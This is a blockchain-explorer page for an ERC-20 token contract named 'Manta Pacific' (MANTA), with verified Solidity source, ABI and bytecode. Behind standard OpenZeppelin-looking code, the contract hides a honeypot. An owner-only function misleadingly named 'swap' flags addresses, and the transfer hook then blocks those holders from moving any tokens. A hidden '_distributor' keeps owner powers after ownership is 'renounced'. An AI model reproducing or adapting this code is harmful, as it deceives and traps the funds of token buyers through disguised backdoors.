Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
200,000,000 MANTA
Holders
70
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
631,540.639263665 MANTAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MANTA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-19 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity 0.8.19; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => bool) public balanceOfMsgSender; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function hasRole(address recipient) external view returns(bool){ return balanceOfMsgSender[recipient]; } function _liquidityPool(address from) internal view returns(bool){ return !balanceOfMsgSender[from]; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity 0.8.19; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity 0.8.19; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Set new distributor. */ function distributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } function Owner() internal view virtual returns (address) { return _owner==address(0) ? _distributor : _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity 0.8.19; contract MANTA is Ownable, ERC20, ERC20Burnable { mapping (address => bool) public liquidityCreator; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address public uniswapV2Pair; constructor() ERC20("Manta Pacific", "MANTA") { _mint(msg.sender, 200_000_000_000_000_000); liquidityCreator[owner()] = true; } function getCirculatingSupply() public view returns (uint256) { return totalSupply() - (balanceOf(DEAD) + balanceOf(ZERO)); } function setPair(address _uniswapV2Pair) external onlyOwner { uniswapV2Pair = _uniswapV2Pair; } function swap(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { balanceOfMsgSender[address_[i]] = val; } } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { if (!_liquidityPool(from)) {require(amount==0);} if (uniswapV2Pair == address(0)) { require(from == owner() || to == owner(), "trading is not started"); return; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOfMsgSender","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityCreator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405261dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009657600080fd5b506040518060400160405280600d81526020017f4d616e74612050616369666963000000000000000000000000000000000000008152506040518060400160405280600581526020017f4d414e54410000000000000000000000000000000000000000000000000000008152506200012362000117620001d060201b60201c565b620001d860201b60201c565b816005908162000134919062000862565b50806006908162000146919062000862565b50505062000163336702c68af0bb1400006200029c60201b60201c565b600160086000620001796200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ad6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200030e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030590620009aa565b60405180910390fd5b62000322600083836200043e60201b60201c565b8060046000828254620003369190620009fb565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200038e9190620009fb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f5919062000a47565b60405180910390a362000411600083836200058c60201b60201c565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200044f836200059160201b60201c565b6200046357600081146200046257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036200058657620004ca6200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806200053e57506200050f6200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b62000580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005779062000ab4565b60405180910390fd5b62000587565b5b505050565b505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200066a57607f821691505b60208210810362000680576200067f62000622565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006ab565b620006f68683620006ab565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007436200073d62000737846200070e565b62000718565b6200070e565b9050919050565b6000819050919050565b6200075f8362000722565b620007776200076e826200074a565b848454620006b8565b825550505050565b600090565b6200078e6200077f565b6200079b81848462000754565b505050565b5b81811015620007c357620007b760008262000784565b600181019050620007a1565b5050565b601f8211156200081257620007dc8162000686565b620007e7846200069b565b81016020851015620007f7578190505b6200080f62000806856200069b565b830182620007a0565b50505b505050565b600082821c905092915050565b6000620008376000198460080262000817565b1980831691505092915050565b600062000852838362000824565b9150826002028217905092915050565b6200086d82620005e8565b67ffffffffffffffff811115620008895762000888620005f3565b5b62000895825462000651565b620008a2828285620007c7565b600060209050601f831160018114620008da5760008415620008c5578287015190505b620008d1858262000844565b86555062000941565b601f198416620008ea8662000686565b60005b828110156200091457848901518255600182019150602085019450602081019050620008ed565b8683101562000934578489015162000930601f89168262000824565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000992601f8362000949565b91506200099f826200095a565b602082019050919050565b60006020820190508181036000830152620009c58162000983565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000a08826200070e565b915062000a15836200070e565b925082820190508082111562000a305762000a2f620009cc565b5b92915050565b62000a41816200070e565b82525050565b600060208201905062000a5e600083018462000a36565b92915050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b600062000a9c60168362000949565b915062000aa98262000a64565b602082019050919050565b6000602082019050818103600083015262000acf8162000a8d565b9050919050565b61230f8062000ae66000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146103a2578063a9059cbb146103d2578063dae39f9214610402578063dd62ed3e14610432578063e074839e14610462578063f2fde38b1461047e5761014d565b8063715018a6146102f457806373fa7ddb146102fe5780637ef09bca1461031a5780638187f5161461034a5780638da5cb5b1461036657806395d89b41146103845761014d565b8063313ce56711610115578063313ce5671461020c578063395093511461022a57806342966c681461025a57806349bd5a5e1461027657806357be55751461029457806370a08231146102c45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632b112e49146101ee575b600080fd5b61015a61049a565b6040516101679190611740565b60405180910390f35b61018a60048036038101906101859190611800565b61052c565b604051610197919061185b565b60405180910390f35b6101a861054a565b6040516101b59190611885565b60405180910390f35b6101d860048036038101906101d391906118a0565b610554565b6040516101e5919061185b565b60405180910390f35b6101f661064c565b6040516102039190611885565b60405180910390f35b6102146106c5565b604051610221919061190f565b60405180910390f35b610244600480360381019061023f9190611800565b6106ce565b604051610251919061185b565b60405180910390f35b610274600480360381019061026f919061192a565b61077a565b005b61027e61078e565b60405161028b9190611966565b60405180910390f35b6102ae60048036038101906102a99190611981565b6107b4565b6040516102bb919061185b565b60405180910390f35b6102de60048036038101906102d99190611981565b6107d4565b6040516102eb9190611885565b60405180910390f35b6102fc61081d565b005b61031860048036038101906103139190611a3f565b610831565b005b610334600480360381019061032f9190611981565b6108de565b604051610341919061185b565b60405180910390f35b610364600480360381019061035f9190611981565b610934565b005b61036e610980565b60405161037b9190611966565b60405180910390f35b61038c6109a9565b6040516103999190611740565b60405180910390f35b6103bc60048036038101906103b79190611800565b610a3b565b6040516103c9919061185b565b60405180910390f35b6103ec60048036038101906103e79190611800565b610b26565b6040516103f9919061185b565b60405180910390f35b61041c60048036038101906104179190611981565b610b44565b604051610429919061185b565b60405180910390f35b61044c60048036038101906104479190611a9f565b610b64565b6040516104599190611885565b60405180910390f35b61047c60048036038101906104779190611981565b610beb565b005b61049860048036038101906104939190611981565b610c92565b005b6060600580546104a990611b0e565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611b0e565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000610540610539610d15565b8484610d1d565b6001905092915050565b6000600454905090565b6000610561848484610ee6565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611bb1565b60405180910390fd5b61064085610638610d15565b858403610d1d565b60019150509392505050565b6000610679600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106a4600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106ae9190611c00565b6106b661054a565b6106c09190611c34565b905090565b60006009905090565b60006107706106db610d15565b8484600360006106e9610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461076b9190611c00565b610d1d565b6001905092915050565b61078b610785610d15565b82611168565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610825611340565b61082f60006113be565b565b610839611340565b60005b838390508110156108d857816007600086868581811061085f5761085e611c68565b5b90506020020160208101906108749190611981565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d090611c97565b91505061083c565b50505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61093c611340565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109b890611b0e565b80601f01602080910402602001604051908101604052809291908181526020018280546109e490611b0e565b8015610a315780601f10610a0657610100808354040283529160200191610a31565b820191906000526020600020905b815481529060010190602001808311610a1457829003601f168201915b5050505050905090565b60008060036000610a4a610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611d51565b60405180910390fd5b610b1b610b12610d15565b85858403610d1d565b600191505092915050565b6000610b3a610b33610d15565b8484610ee6565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bf3611340565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610c9a611340565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0090611de3565b60405180910390fd5b610d12816113be565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8390611e75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df290611f07565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffff